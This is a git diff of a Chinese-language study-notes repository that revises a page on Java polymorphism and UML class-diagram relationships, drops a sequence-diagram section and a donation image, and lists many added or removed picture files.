下面的代码中,乐器类(Instrument)有两个子类:Wind 和 Percussion,它们都覆盖了父类的 play() 方法,并且在 main() 方法中使用父类 Instrument 来引用 Wind 和 Percussion 对象。在 Instrument 引用调用 play() 方法时,会执行实际引用对象所在类的 play() 方法,而不是 Instrument 类的方法。
|
||||
|
||||
```java
|
||||
public class Instrument {
|
||||
@ -180,160 +198,55 @@ public class Music {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
# 三、类图
|
||||
|
||||
## 泛化关系 (Generalization)
|
||||
|
||||
# UML
|
||||
用来描述继承关系,在 Java 中使用 extends 关键字。
|
||||
|
||||
## 1. 类图
|
||||
<div align="center"> <img src="../pics//5341d726-ffde-4d2a-a000-46597bcc9c5a.png"/> </div><br>
|
||||
|
||||
**1.1 继承相关**
|
||||
## 实现关系 (Realization)
|
||||
|
||||
继承有两种形式 : 泛化(generalize)和实现(realize),表现为 is-a 关系。
|
||||
用来实现一个接口,在 Java 中使用 implement 关键字。
|
||||
|
||||
① 泛化关系 (generalization)
|
||||
<div align="center"> <img src="../pics//123bdf81-1ef5-48a9-a08c-2db97057b4d2.png"/> </div><br>
|
||||
|
||||
从具体类中继承
|
||||
## 聚合关系 (Aggregation)
|
||||
|
||||
<div align="center"> <img src="../pics//29badd92-109f-4f29-abb9-9857f5973928.png"/> </div><br>
|
||||
表示整体由部分组成,但是整体和部分不是强依赖的,整体不存在了部分还是会存在。
|
||||
|
||||
② 实现关系 (realize)
|
||||
<div align="center"> <img src="../pics//1be8b4b0-cc7a-44d7-9c77-85be37b76f7d.png"/> </div><br>
|
||||
|
||||
从抽象类或者接口中继承
|
||||
|
||||
<div align="center"> <img src="../pics//4b16e1d3-3a60-472c-9756-2f31b1c48abe.png"/> </div><br>
|
||||
|
||||
**1.2 整体和部分**
|
||||
|
||||
① 聚合关系 (aggregation)
|
||||
|
||||
表示整体由部分组成,但是整体和部分不是强依赖的,整体不存在了部分还是会存在。以下表示 B 由 A 组成:
|
||||
|
||||
<div align="center"> <img src="../pics//34259bb8-ca3a-4872-8771-9e946782d9c3.png"/> </div><br>
|
||||
|
||||
② 组合关系 (composition)
|
||||
## 组合关系 (Composition)
|
||||
|
||||
和聚合不同,组合中整体和部分是强依赖的,整体不存在了部分也不存在了。比如公司和部门,公司没了部门就不存在了。但是公司和员工就属于聚合关系了,因为公司没了员工还在。
|
||||
|
||||
<div align="center"> <img src="../pics//7dda050d-ac35-4f47-9f51-18f18ed6fa9a.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//eb4a7007-d437-4740-865d-672973effe25.png"/> </div><br>
|
||||
|
||||
**1.3 相互联系**
|
||||
|
||||
① 关联关系 (association)
|
||||
## 关联关系 (Association)
|
||||
|
||||
表示不同类对象之间有关联,这是一种静态关系,与运行过程的状态无关,在最开始就可以确定。因此也可以用 1 对 1、多对 1、多对多这种关联关系来表示。比如学生和学校就是一种关联关系,一个学校可以有很多学生,但是一个学生只属于一个学校,因此这是一种多对一的关系,在运行开始之前就可以确定。
|
||||
|
||||
<div align="center"> <img src="../pics//4ccd294c-d6b2-421b-839e-d88336ff5fb7.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//518f16f2-a9f7-499a-98e1-f1dbb37b5a9a.png"/> </div><br>
|
||||
|
||||
② 依赖关系 (dependency)
|
||||
## 依赖关系 (Dependency)
|
||||
|
||||
和关联关系不同的是 , 依赖关系是在运行过程中起作用的。一般依赖作为类的构造器或者方法的参数传入。双向依赖时一种不好的设计。
|
||||
和关联关系不同的是,依赖关系是在运行过程中起作用的。A 类和 B 类是依赖关系主要有三种形式:
|
||||
|
||||
<div align="center"> <img src="../pics//47ca2614-509f-476e-98fc-50ec9f9d43c0.png"/> </div><br>
|
||||
|
||||
## 2. 时序图
|
||||
|
||||
http://www.cnblogs.com/wolf-sun/p/UML-Sequence-diagram.html
|
||||
|
||||
**2.1 定义**
|
||||
|
||||
时序图描述了对象之间传递消息的时间顺序,它用来表示用例的行为顺序。它的主要作用是通过对象间的交互来描述用例(注意是对象),从而寻找类的操作。
|
||||
|
||||
**2.2 赤壁之战时序图**
|
||||
|
||||
从虚线从上往下表示时间的推进。
|
||||
|
||||
<div align="center"> <img src="../pics//80c5aff8-fc46-4810-aeaa-215b5c60a003.png"/> </div><br>
|
||||
|
||||
可见,通过时序图可以知道每个类具有以下操作:
|
||||
|
||||
```java
|
||||
publc class 刘备 {
|
||||
public void 应战 ();
|
||||
}
|
||||
|
||||
publc class 孔明 {
|
||||
public void 拟定策略 ();
|
||||
public void 联合孙权 ();
|
||||
private void 借东风火攻 ();
|
||||
}
|
||||
|
||||
public class 关羽 {
|
||||
public void 防守荊州 ();
|
||||
}
|
||||
|
||||
public class 张飞 {
|
||||
public void 防守荆州前线 ();
|
||||
}
|
||||
|
||||
public class 孙权 {
|
||||
public void 领兵相助 ();
|
||||
}
|
||||
```
|
||||
|
||||
**2.3 活动图、时序图之间的关系**
|
||||
|
||||
活动图示从用户的角度来描述用例;
|
||||
|
||||
时序图是从计算机的角度(对象间的交互)描述用例。
|
||||
|
||||
**2.4 类图与时序图的关系**
|
||||
|
||||
类图描述系统的静态结构,时序图描述系统的动态行为。
|
||||
|
||||
**2.5 时序图的组成**
|
||||
|
||||
① 对象
|
||||
|
||||
有三种表现形式
|
||||
|
||||
<div align="center"> <img src="../pics//25b8adad-2ef6-4f30-9012-c306b4e49897.png"/> </div><br>
|
||||
|
||||
在画图时,应该遵循以下原则:
|
||||
|
||||
1. 把交互频繁的对象尽可能地靠拢。
|
||||
|
||||
2. 把初始化整个交互活动的对象(有时是一个参与者)放置在最左边。
|
||||
|
||||
② 生命线
|
||||
|
||||
生命线从对象的创建开始到对象销毁时终止
|
||||
|
||||
<div align="center"> <img src="../pics//b7b0eac6-e7ea-4fb6-8bfb-95fec6f235e2.png"/> </div><br>
|
||||
|
||||
③ 消息
|
||||
|
||||
对象之间的交互式通过发送消息来实现的。
|
||||
|
||||
消息有 4 种类型:
|
||||
|
||||
1\. 简单消息,不区分同步异步。
|
||||
|
||||
<div align="center"> <img src="../pics//a13b62da-0fa8-4224-a615-4cadacc08871.png"/> </div><br>
|
||||
|
||||
2\. 同步消息,发送消息之后需要暂停活动来等待回应。
|
||||
|
||||
<div align="center"> <img src="../pics//33821037-dc40-4266-901c-e5b38e618426.png"/> </div><br>
|
||||
|
||||
3\. 异步消息,发送消息之后不需要等待。
|
||||
|
||||
<div align="center"> <img src="../pics//dec6c6cc-1b5f-44ed-b8fd-464fcf849dac.png"/> </div><br>
|
||||
|
||||
4\. 返回消息,可选。
|
||||
|
||||
④ 激活
|
||||
|
||||
生命线上的方框表示激活状态,其它时间处于休眠状态。
|
||||
|
||||
<div align="center"> <img src="../pics//6ab5de9b-1c1e-4118-b2c3-fb6c7ed7de6f.png"/> </div><br>
|
||||
1. A 类是 B 类中的(某中方法的)局部变量;
|
||||
2. A 类是 B 类方法当中的一个参数;
|
||||
3. A 类向 B 类发送消息,从而影响 B 类发生变化;
|
||||
|
||||
<div align="center"> <img src="../pics//c7d4956c-9988-4a10-a704-28fdae7f3d28.png"/> </div><br>
|
||||
|
||||
# 参考资料
|
||||
|
||||
- Java 编程思想
|
||||
- [ 面向对象设计的 SOLID 原则 ](http://www.cnblogs.com/shanyou/archive/2009/09/21/1570716.html)
|
||||
- [ 看懂 UML 类图和时序图 ](http://design-patterns.readthedocs.io/zh_CN/latest/read_uml.html#generalization)
|
||||
- 敏捷软件开发:原则、模式与实践
|
||||
- [面向对象设计的 SOLID 原则](http://www.cnblogs.com/shanyou/archive/2009/09/21/1570716.html)
|
||||
- [看懂 UML 类图和时序图](http://design-patterns.readthedocs.io/zh_CN/latest/read_uml.html#generalization)
|
||||
- [UML 系列——时序图(顺序图)sequence diagram](http://www.cnblogs.com/wolf-sun/p/UML-Sequence-diagram.html)
|
||||
- [ 面向对象编程三大特性 ------ 封装、继承、多态 ](http://blog.csdn.net/jianyuerensheng/article/details/51602015)
|
||||
- [面向对象编程三大特性 ------ 封装、继承、多态](http://blog.csdn.net/jianyuerensheng/article/details/51602015)
|
||||
|
BIN
other/alipay.jpg
Before Width: | Height: | Size: 269 KiB |
@ -1,3 +0,0 @@
|
||||
<div align="center">
|
||||
<img src="alipay.jpg" alt="" width="225"/>
|
||||
</div>
|
Before Width: | Height: | Size: 37 KiB |
Before Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 120 KiB |
Before Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 42 KiB |
BIN
pics/02986f62-c641-44a8-a55f-983581490e0c.png
Normal file
After Width: | Height: | Size: 409 KiB |
BIN
pics/037c3a0b-332d-434d-a374-f343ef72c8e1.jpg
Normal file
After Width: | Height: | Size: 37 KiB |
Before Width: | Height: | Size: 107 KiB |
BIN
pics/061c29ce-e2ed-425a-911e-56fbba1efce3.jpg
Normal file
After Width: | Height: | Size: 34 KiB |
BIN
pics/0635cbe8.png
Normal file
After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 43 KiB |
BIN
pics/07717718-1230-4347-aa18-2041c315e670.jpg
Normal file
After Width: | Height: | Size: 21 KiB |
BIN
pics/07903a31-0fb3-45fc-86f5-26f0b28fa4e7.png
Normal file
After Width: | Height: | Size: 19 KiB |
BIN
pics/08427d38-8df1-49a1-8990-e0ce5ee36ca2.png
Normal file
After Width: | Height: | Size: 22 KiB |
Before Width: | Height: | Size: 40 KiB |
Before Width: | Height: | Size: 41 KiB |
Before Width: | Height: | Size: 1.0 KiB |
BIN
pics/09e6e8d4-4d83-4949-b908-6d6b4c2fd064.png
Normal file
After Width: | Height: | Size: 7.0 KiB |
BIN
pics/0a9f4125-b6ab-4e94-a807-fd7070ae726a.png
Normal file
After Width: | Height: | Size: 129 KiB |
BIN
pics/0aaf4630-d2a2-4783-b3f7-a2b6a7dfc01b.jpg
Normal file
After Width: | Height: | Size: 31 KiB |
BIN
pics/0c55e11c-d3ce-4cd8-b139-028aea6f40e3.png
Normal file
After Width: | Height: | Size: 14 KiB |
Before Width: | Height: | Size: 166 KiB |
BIN
pics/0e34263d-7287-4ffe-a716-37c53d1a2526.png
Normal file
After Width: | Height: | Size: 7.0 KiB |
BIN
pics/0ee0f61b-c782-441e-bf34-665650198ae0.jpg
Normal file
After Width: | Height: | Size: 23 KiB |
Before Width: | Height: | Size: 32 KiB |
BIN
pics/0f373947-c68f-45b4-a59e-086154745ac5.png
Normal file
After Width: | Height: | Size: 11 KiB |
Before Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 57 KiB |
BIN
pics/10.gif
Normal file
After Width: | Height: | Size: 29 KiB |
Before Width: | Height: | Size: 82 KiB |
Before Width: | Height: | Size: 106 KiB |
BIN
pics/107a6a2b-f15b-4cad-bced-b7fb95258c9c.png
Normal file
After Width: | Height: | Size: 6.0 KiB |
BIN
pics/10bdf7bf-0daa-4a26-b927-f142b3f8e72b.png
Normal file
After Width: | Height: | Size: 87 KiB |
BIN
pics/10f5e35b-1c71-4717-9e80-47f259702642.jpg
Normal file
After Width: | Height: | Size: 286 KiB |
BIN
pics/11.gif
Normal file
After Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 39 KiB |
BIN
pics/111521118015898.gif
Normal file
After Width: | Height: | Size: 85 KiB |
BIN
pics/111521118445538.gif
Normal file
After Width: | Height: | Size: 34 KiB |
BIN
pics/111521118483039.gif
Normal file
After Width: | Height: | Size: 24 KiB |
BIN
pics/111521118640738.gif
Normal file
After Width: | Height: | Size: 146 KiB |
BIN
pics/111521119203347.gif
Normal file
After Width: | Height: | Size: 185 KiB |
BIN
pics/111521119368714.gif
Normal file
After Width: | Height: | Size: 214 KiB |
Before Width: | Height: | Size: 27 KiB |
BIN
pics/1164a71f-413d-494a-9cc8-679fb6a2613d.jpg
Normal file
After Width: | Height: | Size: 12 KiB |
BIN
pics/1202b2d6-9469-4251-bd47-ca6034fb6116.png
Normal file
After Width: | Height: | Size: 42 KiB |
BIN
pics/123bdf81-1ef5-48a9-a08c-2db97057b4d2.png
Normal file
After Width: | Height: | Size: 5.0 KiB |
Before Width: | Height: | Size: 57 KiB |
BIN
pics/1556770b-8c01-4681-af10-46f1df69202c.jpg
Normal file
After Width: | Height: | Size: 430 KiB |
BIN
pics/1582217a-ed46-4cac-811e-90d13a65163b.png
Normal file
After Width: | Height: | Size: 45 KiB |
BIN
pics/15b45dc6-27aa-4519-9194-f4acfa2b077f.jpg
Normal file
After Width: | Height: | Size: 44 KiB |
Before Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 14 KiB |
BIN
pics/17976404-95f5-480e-9cb4-250e6aa1d55f.png
Normal file
After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 121 KiB |
BIN
pics/185b9c49-4c13-4241-a848-fbff85c03a64.png
Normal file
After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 121 KiB |
BIN
pics/1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg
Normal file
After Width: | Height: | Size: 17 KiB |
BIN
pics/1ab49e39-012b-4383-8284-26570987e3c4.jpg
Normal file
After Width: | Height: | Size: 41 KiB |
BIN
pics/1b7f180e-7fee-4eaf-8ebb-164b68ae2b29.png
Normal file
After Width: | Height: | Size: 24 KiB |
BIN
pics/1be8b4b0-cc7a-44d7-9c77-85be37b76f7d.png
Normal file
After Width: | Height: | Size: 6.0 KiB |
BIN
pics/1bfa3118-f3cd-4480-a950-cf6d646015db.png
Normal file
After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 29 KiB |
Before Width: | Height: | Size: 50 KiB |
Before Width: | Height: | Size: 9.0 KiB |
Before Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 124 KiB |
Before Width: | Height: | Size: 92 KiB |
BIN
pics/1f039a45-6b91-4f31-a2c2-6c63eb8bdb56.png
Normal file
After Width: | Height: | Size: 22 KiB |